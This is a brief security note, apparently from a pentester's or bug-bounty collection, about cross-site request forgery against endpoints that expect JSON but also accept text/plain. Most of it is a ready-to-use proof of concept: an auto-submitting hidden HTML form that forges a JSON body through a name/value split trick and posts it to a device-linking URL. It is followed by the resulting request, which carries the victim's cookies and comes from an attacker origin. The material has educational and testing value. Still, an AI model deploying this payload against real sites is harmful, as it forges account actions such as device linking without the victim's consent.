CSRF can be done in JSON requests if other mime types like text/plain are supported but data strcture should be of type JSON.
PoC:
<html>
<body>
<form action="https://example.com/link-device.php" method="POST" enctype="text/plain">
<input type="hidden" name='{"code":"BINGOOOOM","foo=' value='":""}' />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>Resulting request will be:
POST /link-device.php HTTP/2
Host: example.com
Cookie: {COOKIES_HERE}
Content-Length: 33
Cache-Control: max-age=0
Origin: http://attacker.com
Content-Type: text/plain
Upgrade-Insecure-Requests: 1
User-Agent: {USER_AGENT_HERE}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: http://attacker.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
{"code":"BINGOOOOM","foo==":""}